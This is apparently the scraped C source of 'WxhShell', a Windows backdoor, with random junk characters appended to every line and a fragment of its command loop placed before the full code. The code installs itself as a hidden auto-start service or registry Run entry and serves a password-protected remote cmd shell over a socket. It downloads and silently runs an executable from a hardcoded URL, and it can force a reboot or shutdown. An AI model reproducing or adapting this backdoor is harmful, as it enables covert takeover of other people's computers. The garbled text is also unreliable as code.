    if(Boot(SHUTDOWN)) F}_Zh9/$(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8HH\wu$$e  
    else { m:5bb 3  
    closesocket(wsh); L"V~M F  
    ExitThread(0); wHhIa3_v  
    } DBzF\-  
    break; )N]%cO(^  
    } azp XE  
  // 获取shell Hbz,3{o5  
  case 's': { BjbpRQ,  
    CmdShell(wsh); '3ZYoA%  
    closesocket(wsh); >U') ICD~  
    ExitThread(0); x\6i(k-  
    break; ^VlPnx8y=  
  } ("j*!Dsd  
  // 退出 [fXC ;c1  
  case 'x': { 05vu{>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3O'X;s2\d  
    CloseIt(wsh); U7Pn $l2!  
    break; 8*yk y  
    } tsqWnz=)  
  // 离开 R{Qvpd$y  
  case 'q': { ogKd}qTov  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); v`u>; S_  
    closesocket(wsh); 7)v`l1  
    WSACleanup(); q e;O Ox  
    exit(1); vpqMKyy  
    break; e!*%U= [Q  
        } D z5(v1I9A  
  } 3` \)Qm  
  } ZlsdO.G  
~m@w p  
  // 提示信息  .)XJ-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .FAuM~_99b  
} 6dX l ny1H  
  } h2Jdcr#@FF  
DYvg^b  
  return; 4xNzhnp|  
} ]%/a'[  
]$96#}7N  
// shell模块句柄 nXF|AeAco  
int CmdShell(SOCKET sock) z6J fu:_N!  
{ H!ISQ8{V  
STARTUPINFO si; TANt*r7  
ZeroMemory(&si,sizeof(si)); mdD9Q N01  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )VCRbz"[g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H(Q|qckj  
PROCESS_INFORMATION ProcessInfo; w*s#=]6  
char cmdline[]="cmd"; s_N]$3'[E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Zr@G  
  return 0; W&(98}oT  
} rSfvHO:R  
O1K~]Nt  
// 自身启动模式 #>byP?)n  
int StartFromService(void) {^n\ r^5  
{ Eq?d+s>  
typedef struct dd%-bI^  
{ }D&fw=r"M  
  DWORD ExitStatus; = g)G!  
  DWORD PebBaseAddress; 5&*B2ZBzH  
  DWORD AffinityMask; 6M758K6v  
  DWORD BasePriority; spt='!)4  
  ULONG UniqueProcessId; Ev;ocb,  
  ULONG InheritedFromUniqueProcessId; vVi))%&S(  
}   PROCESS_BASIC_INFORMATION; g$ oe00b  
)z#M_[zC>  
PROCNTQSIP NtQueryInformationProcess; IW'2+EGc  
f@a@R$y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R9z^=QKcH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )vFZl]  
}X`jhsqT  
  HANDLE             hProcess; \LS+.bp%  
  PROCESS_BASIC_INFORMATION pbi; z~BrKdS  
|E)IJj 3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); MO$ dim>  
  if(NULL == hInst ) return 0; r?=7#/]  
ly] n2RK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~|~j01#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h8!;RN[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KGm"-W  
W<D(M.61A  
  if (!NtQueryInformationProcess) return 0; yxa~R z/  
3y Azt*dZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vYNh0)$%F  
  if(!hProcess) return 0; J12 ZdC'O  
Vhs:X~=qL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 61J01(+|  
x@]pUA1  
  CloseHandle(hProcess); _8'FI_E3  
P2Ja*!K]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vK\;CSk  
if(hProcess==NULL) return 0; oGLSk (T&I  
 ,JcQp=g  
HMODULE hMod; 1!E+(Iq  
char procName[255]; k+S 6)BQ7U  
unsigned long cbNeeded; &,Xs=Lv mq  
vx\h Njb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X=p~`Ar M{  
Xx0}KJ q~"  
  CloseHandle(hProcess); _;B N;].  
4JHFn [%  
if(strstr(procName,"services")) return 1; // 以服务启动 9R"bo*RIS  
<Z c:  
  return 0; // 注册表启动 IPl>bD~=p  
} ?7cF_Zvve  
M9@#W"  
// 主模块 M#qZ0JT4  
int StartWxhshell(LPSTR lpCmdLine) *S.2p*Vd  
{ P~0d'Oi  
  SOCKET wsl; O>Nop5#o  
BOOL val=TRUE; G'z&U?Ng  
  int port=0; 8P3EQY -  
  struct sockaddr_in door; d*lnXzQor  
<oS k!6*  
  if(wscfg.ws_autoins) Install(); 1b'1vp  
+*Cg2`  
port=atoi(lpCmdLine); 8<t?o'9I  
<&o `T4  
if(port<=0) port=wscfg.ws_port; .O'gD.|^N  
t$=0  C  
  WSADATA data; Nky%v+r  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5}R /C{fs  
&:-`3J-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -NVk>ENL4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T!hU37g h?  
  door.sin_family = AF_INET; 2 f]9I1{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2I'\o7Y  
  door.sin_port = htons(port); Wv"[,5 Z13  
(0qdU;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i)0*J?l=  
closesocket(wsl); 'PlKCn`(w  
return 1; nYuZg6K  
}  jK&kQ  
x]k^JPX  
  if(listen(wsl,2) == INVALID_SOCKET) { M)#R_(Q5{  
closesocket(wsl); N2}].}  
return 1; zu}h3n5  
} }@Oy kN  
  Wxhshell(wsl); H+; _fd  
  WSACleanup(); sf?D4UdIH  
;1cX|N=  
return 0; /s=TLPm  
fj 19U9R  
} r&\}E+  
+gOCl*L  
// 以NT服务方式启动 *kxk@(lT?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6yF4%Sz9  
{ "_C^Bc  
DWORD   status = 0; yi7-[W}  
  DWORD   specificError = 0xfffffff; nrA}36E  
3;j?i<kM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }_M .-Xm  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A{;b^ IK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;=Bf&hY&  
  serviceStatus.dwWin32ExitCode     = 0; -Tk~c1I#`  
  serviceStatus.dwServiceSpecificExitCode = 0; ha'oLm#  
  serviceStatus.dwCheckPoint       = 0; @yB!?x  
  serviceStatus.dwWaitHint       = 0; Gz!72H  
-^;G^Uq6=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )j@k[}R#g  
  if (hServiceStatusHandle==0) return; }{Lf 4|8  
-b(:kAwStk  
status = GetLastError(); q[q#cY:0  
  if (status!=NO_ERROR) K I$?0O  
{ |zvxKIW;wd  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y3$' gu|  
    serviceStatus.dwCheckPoint       = 0; \x x<\8Qr_  
    serviceStatus.dwWaitHint       = 0; qEf )TW(  
    serviceStatus.dwWin32ExitCode     = status; PF!Q2t5c3  
    serviceStatus.dwServiceSpecificExitCode = specificError; f b_tda",}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >lyUr*4PX  
    return; mb?DnP,z  
  } i2$U##-ro]  
d Z"bc]z{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dp2".  
  serviceStatus.dwCheckPoint       = 0; {TdK S  
  serviceStatus.dwWaitHint       = 0; 6yTL7@V|B  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); CQ"IL;y  
} GwwxSB&y  
gA!-F}x$  
// 处理NT服务事件,比如:启动、停止 &6MGPh7T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N"T~U\R  
{ _:M6~XHo  
switch(fdwControl) pLBp[GQ  
{ J*,Ed51&7  
case SERVICE_CONTROL_STOP: c1CP1 2  
  serviceStatus.dwWin32ExitCode = 0; %o#D"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  X\ \\RCp  
  serviceStatus.dwCheckPoint   = 0; N(}7M~m>  
  serviceStatus.dwWaitHint     = 0; &N*S   
  { 0wZLkU_(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?GD{}f33  
  } ozkN&0  
  return; rgIJ]vmy<H  
case SERVICE_CONTROL_PAUSE: J}`K&DtM9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9T|7edl  
  break; =t&B8+6  
case SERVICE_CONTROL_CONTINUE: *xU^e`P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  mbd  
  break; Ps<)?q6(  
case SERVICE_CONTROL_INTERROGATE: ,Xk8{ =  
  break; xHykU;p@  
}; .m/Lon E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0'BR Sa<  
} 2{XQDOyA  
U`<EpO{j|  
// 标准应用程序主函数 Fdu0?H2TL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J%f5NSSU{6  
{ _ZzPy;[i?  
m]N 4.J  
// 获取操作系统版本 9qQ_#$Vv  
OsIsNt=GetOsVer(); t wtGkkC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V)Z*X88:Tv  
;-^WUf |  
  // 从命令行安装 %'4dg k  
  if(strpbrk(lpCmdLine,"iI")) Install(); jDgiH}  
^bL.|vB  
  // 下载执行文件 eiP>?8  
if(wscfg.ws_downexe) { @/anJrt  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3'u%[bx E  
  WinExec(wscfg.ws_filenam,SW_HIDE);  T_jwj N  
} =#T6,[5  
5[X^1  
if(!OsIsNt) { ;5"r)F+P  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]ueq&|  
HideProc(); *[W!ng  
StartWxhshell(lpCmdLine); yn!LJT[~2  
} c !P9`l~MQ  
else 3Eiy/  
  if(StartFromService()) fn#b3ee  
  // 以服务方式启动 dWD9YIYf  
  StartServiceCtrlDispatcher(DispatchTable); }Ss#0Gee  
else >\} 2("bv  
  // 普通方式启动 V}pw ,2s  
  StartWxhshell(lpCmdLine); RS<c&{?  
y"$|?187x  
return 0; ./5|i*ow  
} wzo-V^+q  
fRaVY`|wK  
b%,5B  
X[NsdD?w1+  
=========================================== go2:D#mf  
>4~{ CXZ  
Xd|@w{.m*  
aKH\8O4L5  
 A{5 k}  
(.%:Q0i1  
" 7ou2SL}k  
|`qur5h`  
#include <stdio.h> ?PyI#G   
#include <string.h> /o8`I m   
#include <windows.h> [^ 7^&/0  
#include <winsock2.h> <&l3bL  
#include <winsvc.h> A8c'CMEm  
#include <urlmon.h> D9#e2ex]  
<po(7XB  
#pragma comment (lib, "Ws2_32.lib") )]>=Uo  
#pragma comment (lib, "urlmon.lib") KQ3)^J_Z  
|4X:>Ut]  
#define MAX_USER   100 // 最大客户端连接数 K.l?R#G`,F  
#define BUF_SOCK   200 // sock buffer *1;<xeVD  
#define KEY_BUFF   255 // 输入 buffer G-M!I`P  
{l *ps-fi  
#define REBOOT     0   // 重启 YDjQ&EH  
#define SHUTDOWN   1   // 关机 m>zUwGYEu  
us`hR!_  
#define DEF_PORT   5000 // 监听端口 ZW+{<XTof4  
t4h05i  
#define REG_LEN     16   // 注册表键长度 M9bb,`X>Q  
#define SVC_LEN     80   // NT服务名长度 l4R:_Z<  
,@Ed)Zoh  
// 从dll定义API )_xM)mH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qZ_^#%zO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0lmoI4bW}s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YfxZ<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); UvQxtT]  
7OC ,KgJ3  
// wxhshell配置信息 m]7yc>uDy  
struct WSCFG { CzNSJVE5  
  int ws_port;         // 监听端口 PcUi+[s;x  
  char ws_passstr[REG_LEN]; // 口令 Fo?2nQ<  
  int ws_autoins;       // 安装标记, 1=yes 0=no [uAfE3  
  char ws_regname[REG_LEN]; // 注册表键名 ^U~YG=!ww  
  char ws_svcname[REG_LEN]; // 服务名 LsV!Sd  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 L8R|\Bx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $D9JsUij  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F P mLost  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C+y:<oo)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y3;G<9K2c]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ix7N q7!N  
&)xoR4!2  
}; bmt2~!  
c?<FMb3]  
// default Wxhshell configuration ##k== 'dR  
struct WSCFG wscfg={DEF_PORT, N<N!it  
    "xuhuanlingzhe", r<&d1fM;X  
    1, dBobVT'  
    "Wxhshell", <]CO}r   
    "Wxhshell", tQ?? nI2  
            "WxhShell Service", oB_{xu$6|  
    "Wrsky Windows CmdShell Service", Q6.},o  
    "Please Input Your Password: ", \8_&@uLm  
  1, L2Gm0 v  
  "http://www.wrsky.com/wxhshell.exe", @#8F5G#  
  "Wxhshell.exe" Eg  w?  
    }; 3ufUB^@4v  
5zfaqt`  
// 消息定义模块 KS(s<ip|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sFCoRH|"c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /JR*X!&"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pw- C=MY]  
char *msg_ws_ext="\n\rExit."; d['BtVJ  
char *msg_ws_end="\n\rQuit."; i/)Uj-*G)  
char *msg_ws_boot="\n\rReboot..."; /7P4[~vw  
char *msg_ws_poff="\n\rShutdown..."; eW7;yH  
char *msg_ws_down="\n\rSave to "; 6"jq/Pu  
~Qzm!Po,  
char *msg_ws_err="\n\rErr!"; nBGk%NM 8  
char *msg_ws_ok="\n\rOK!"; 93o}vy->  
[[[p@d/Y  
char ExeFile[MAX_PATH]; n!3_%K0!r&  
int nUser = 0; -f Zm_FE  
HANDLE handles[MAX_USER]; bh uA,}  
int OsIsNt; J,+| Fb  
G.T}^ xHmL  
SERVICE_STATUS       serviceStatus; 0%'&s)#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^(UL$cQ>  
'H*S-d6V  
// 函数声明 Zf?>:P  
int Install(void); u^iK?S#Ci8  
int Uninstall(void); BS+N   
int DownloadFile(char *sURL, SOCKET wsh); E>SnH  
int Boot(int flag); 3&3S*1b-H  
void HideProc(void); ?N$  
int GetOsVer(void); ~p oy`h'  
int Wxhshell(SOCKET wsl); O v?k4kJ  
void TalkWithClient(void *cs); FeSe^^dW  
int CmdShell(SOCKET sock); M@s2T|bQw  
int StartFromService(void); L F Z  
int StartWxhshell(LPSTR lpCmdLine); +XFF@h&=t  
&IOChQ`8P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z4E:Z}~''  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _?O'65  
DFR.F:O%  
// 数据结构和表定义 &#;UKk~)Of  
SERVICE_TABLE_ENTRY DispatchTable[] = |*OS;FD5  
{ [",W TZ:  
{wscfg.ws_svcname, NTServiceMain}, =wI ,H@  
{NULL, NULL} ~{U~9v^v (  
}; JsVW:8QO~  
PN0:,.4  
// 自我安装 g4I(uEJk  
int Install(void) *Pw; ;#\B  
{ ,Qj7wFZ  
  char svExeFile[MAX_PATH]; !:rQ@PSy9  
  HKEY key; 8n);NZ  
  strcpy(svExeFile,ExeFile); IY,&/MCh  
mpXc o *!_  
// 如果是win9x系统,修改注册表设为自启动 Ay2Vz>{  
if(!OsIsNt) { Tfs7SC8ta  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pS*vwYA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HPr5mWs:  
  RegCloseKey(key); a.wRJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mY;Y$fz;xL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b_\aSEaTT  
  RegCloseKey(key); (j}"1  
  return 0; K~v"%sG{`  
    } *4]I#N  
  } #N@sJyI N  
} VJZ   
else { EvQN(_  
(ioi !p  
// 如果是NT以上系统,安装为系统服务 ~i6tc d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3H@TvV/;f  
if (schSCManager!=0) ,j9}VnW)  
{ R;'Pe>  
  SC_HANDLE schService = CreateService UiaY0 .D  
  ( m{gt(n  
  schSCManager, :4&qASn  
  wscfg.ws_svcname, xJN JvA  
  wscfg.ws_svcdisp, ]W-:-.prh  
  SERVICE_ALL_ACCESS, Zp l?zI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N;<<-`i  
  SERVICE_AUTO_START, vL\wA_z"<H  
  SERVICE_ERROR_NORMAL, XSn^$$S  
  svExeFile, GfL}f9  
  NULL, r$R(4q:  
  NULL, *sZOws<  
  NULL, Ok2k; +l  
  NULL, D|`[ [  
  NULL lj'c0k8  
  ); " 0K5 /9  
  if (schService!=0) &{/ `Q ,  
  { p>|;fS\`@}  
  CloseServiceHandle(schService); B.0(}@  
  CloseServiceHandle(schSCManager); yxLGseD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); osPX%k!yw  
  strcat(svExeFile,wscfg.ws_svcname); Xk(c2s&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  V:F)m!   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); IWuR=I$t  
  RegCloseKey(key); VU}UK$JN  
  return 0; EJb"/oLla  
    } "A,]y E  
  } tlI3jrgw  
  CloseServiceHandle(schSCManager); ) dwPD  
} YDC[s ^d5  
} >L?/Ph%d  
UH.M)br  
return 1; !|!:MYn  
} }oj$w?Ex  
s e2+X>@>  
// 自我卸载 `3/,-  
int Uninstall(void) 9V[|_  
{ P0k|33;7L  
  HKEY key; )?I1*(1{A  
.nKyB'uV  
if(!OsIsNt) { "4&HxD8_ih  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =>4>Z_q  
  RegDeleteValue(key,wscfg.ws_regname); G@ BrU q  
  RegCloseKey(key); M2%<4(UwI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]^/:Xsk$  
  RegDeleteValue(key,wscfg.ws_regname); E/Eny 5  
  RegCloseKey(key); IAhyGD{b  
  return 0; - :*PXu  
  } r >u0Y  
} P_,f  
} `c(,_o a{  
else { .e"De-u  
b4S7 Q"g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `f8{ ^Rau  
if (schSCManager!=0) v3Te+oLg  
{ Hx62x X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z! D >l  
  if (schService!=0) Z\6azhbI}  
  { :*)~nPVV  
  if(DeleteService(schService)!=0) { 1sGkbfh{t  
  CloseServiceHandle(schService); s80:.B  
  CloseServiceHandle(schSCManager); z,I7 PY& G  
  return 0; "Yq-s$yBi  
  } q~_Nv5r%O  
  CloseServiceHandle(schService); ~}$:iyJV(>  
  } J0C<Qb[  
  CloseServiceHandle(schSCManager); }\OLBg/  
} +m Mn1&  
} e7>)Z  
()}O|JL:K  
return 1; xJJlVP  
} ?b^VEp.;}  
t`Mm  
// 从指定url下载文件 yQM7QLbTk  
int DownloadFile(char *sURL, SOCKET wsh) 8y/YX  
{ {ZY^tTsY  
  HRESULT hr;  ]i=-/  
char seps[]= "/"; 2fFNJ  
char *token; Q^b_+M  
char *file; 9Rb-QI  
char myURL[MAX_PATH]; &gIu<*u<  
char myFILE[MAX_PATH]; V[rNJf1z  
7.hVbjy'-  
strcpy(myURL,sURL); S%kE<M?  
  token=strtok(myURL,seps); rs=wEMq/  
  while(token!=NULL) 3!Rb {  
  { &s\$&%|  
    file=token; :BC 0f9  
  token=strtok(NULL,seps); ;7K5Bo  
  } QKE$>G  
9'Pyo`hJ#U  
GetCurrentDirectory(MAX_PATH,myFILE); S TVJu![  
strcat(myFILE, "\\"); +}I[l,,xy  
strcat(myFILE, file); h" P4  
  send(wsh,myFILE,strlen(myFILE),0); j/ #kO?  
send(wsh,"...",3,0); NA]7qb%%<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [qIi_(%o  
  if(hr==S_OK) wU2y<?$\8  
return 0; zi:GvTG  
else \G#Qe*"'K  
return 1; #- z*c  
/Fk LZm  
} `(_cR@\  
&:S_ewJK7  
// 系统电源模块 N+"Y@X yg  
int Boot(int flag) "5synfO  
{ jE&kN$.7j  
  HANDLE hToken; |Rhx&/  
  TOKEN_PRIVILEGES tkp; .%U~ r2Y(  
- EF(J  
  if(OsIsNt) { $io-<Z#Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); InH R> ,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cx_[Y  
    tkp.PrivilegeCount = 1; =c(_$|0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y)hLu:P]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q7N4@w;e  
if(flag==REBOOT) { A0V"5syY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zb?wl fT  
  return 0; I{_St8  
} o%Vf#W  
else { -=Q_E^'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K.*?\)&  
  return 0; N`8!h:yL  
} ^t*+hFEI  
  } wTf0O@``6H  
  else { UacN'Rat  
if(flag==REBOOT) { E:D1ZV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) SV<*qz  
  return 0; hIXGfvUy  
} QTz{ZNi!  
else { U4 m[@wF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JAC W#'4hV  
  return 0; 1 _fFbb"  
} ngsax1xO  
} it&c ,+8  
Wey-nsk  
return 1; e&OMW ,7  
} _-%ay  
lE?e1mz{  
// win9x进程隐藏模块 JjfNH ~  
void HideProc(void) |Mo# +{~c  
{ w_KGn17  
_a+0LTo".  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q)G*"  
  if ( hKernel != NULL ) KjZ^\lq'  
  { Pl}}!<!<z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); htX'bA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); CBnD)1b\  
    FreeLibrary(hKernel); 6KnD(im  
  } Ook3B  
9`4h"9dO  
return; ,\+tvrR4X  
} Kp ~k!6x  
D4 {gt\V  
// 获取操作系统版本 :54|Z5h|  
int GetOsVer(void) Wq<>a;m  
{ }ebw1G  
  OSVERSIONINFO winfo; %b\xRt[0v7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O.& 6J/  
  GetVersionEx(&winfo); yZ0;\Tr*J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @ RTQJ+ms  
  return 1; Pu/0<Orp7  
  else }td+F&l($V  
  return 0; **! lV]/  
} +GP"9S2%R  
X-:Ni_O\ty  
// 客户端句柄模块 M\\TQ(B  
int Wxhshell(SOCKET wsl) 2Mu-c:1  
{ k5!k3yI  
  SOCKET wsh; px//q4 U  
  struct sockaddr_in client; n  'P:  
  DWORD myID; &0(2Z^Z>fw  
7 aDI6G  
  while(nUser<MAX_USER) _\@i&3hkx  
{ d2.n^Q"?3  
  int nSize=sizeof(client); "{z9 L+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `3pe\s  
  if(wsh==INVALID_SOCKET) return 1; j@GMZz<  
i$"FUC~'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); & \<RVE  
if(handles[nUser]==0) B susXW$  
  closesocket(wsh); PO&xi9_  
else `c:'il?  
  nUser++; rt^z#2$  
  } *ivbk /8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Zr}`W \  
pxI*vgfN7  
  return 0; (g7nMrE$j  
} JGj_{|=:  
Q.z2 (&  
// 关闭 socket }[LK/@h  
void CloseIt(SOCKET wsh) KO)<Zh  
{ `(Q58wR}  
closesocket(wsh); YQQ!1 hw  
nUser--; YgM6z K~  
ExitThread(0); ^jf$V #z0/  
} D cus-,u~  
Y] P}7GZ  
// 客户端请求句柄 -\UzL:9>  
void TalkWithClient(void *cs) X@~sIUXx9  
{ {E6W]Mno  
?ZDx9*f  
  SOCKET wsh=(SOCKET)cs; Qbv)(&i# ~  
  char pwd[SVC_LEN]; Z NCq /  
  char cmd[KEY_BUFF]; zN2sipJS8  
char chr[1]; f1=8I_>=  
int i,j; XJ?@l3D:  
+Kf::[wP7  
  while (nUser < MAX_USER) { J,7_5V@jJ  
a#uJzYB0  
if(wscfg.ws_passstr) { 1"v;w!uh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1d\K{ 7i#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]nfS vPb  
  //ZeroMemory(pwd,KEY_BUFF); []dRDe;#  
      i=0; QtN0|q{af  
  while(i<SVC_LEN) { 3>L1}zyM]  
L {B#x@9tQ  
  // 设置超时 L"}@>&6  
  fd_set FdRead; lPFMNRt~8  
  struct timeval TimeOut; oK(ua  
  FD_ZERO(&FdRead); QQ!,W':  
  FD_SET(wsh,&FdRead); kQ'G+Kw~F  
  TimeOut.tv_sec=8; YmF`7W  
  TimeOut.tv_usec=0; vm4]KEyrX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {<kl)}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c#Y9L+O  
u{H_q&1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Pyyx/u+?@  
  pwd=chr[0]; jBE= Ij  
  if(chr[0]==0xd || chr[0]==0xa) { DcOu =Y> 1  
  pwd=0; OcSLRN?t  
  break; (>;~((2  
  } \H" (*["&  
  i++; dDm<'30?*v  
    } YDmFR,047  
0hNc#x6  
  // 如果是非法用户,关闭 socket .Dx]wv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ||!k 3t#<  
} 7,+:Q Y@  
)%MB o.NL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rcyH2)Y/e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _@^msyoq  
jXW71$B  
while(1) { 4cV(Z-\  
*S=v1 s/  
  ZeroMemory(cmd,KEY_BUFF); }'@*Olj  
~?L. n:wu  
      // 自动支持客户端 telnet标准   lcUL7  
  j=0; #a .aD+d'  
  while(j<KEY_BUFF) { #vDe/o+=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q7Dkh KT  
  cmd[j]=chr[0]; fqF1 - %  
  if(chr[0]==0xa || chr[0]==0xd) { |20p#]0E+  
  cmd[j]=0; LXK+WB/s  
  break; Sk1yend4  
  } V'6%G:?0a  
  j++; G7),!Qol  
    } wEkW=  
3b[_0  
  // 下载文件 (JF\%Yj/  
  if(strstr(cmd,"http://")) { 7vHU49DV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =j}00,WH  
  if(DownloadFile(cmd,wsh)) Ur@'X-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); FD`V39##  
  else IzL yn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TnKe"TA|9  
  } c3Mql+@  
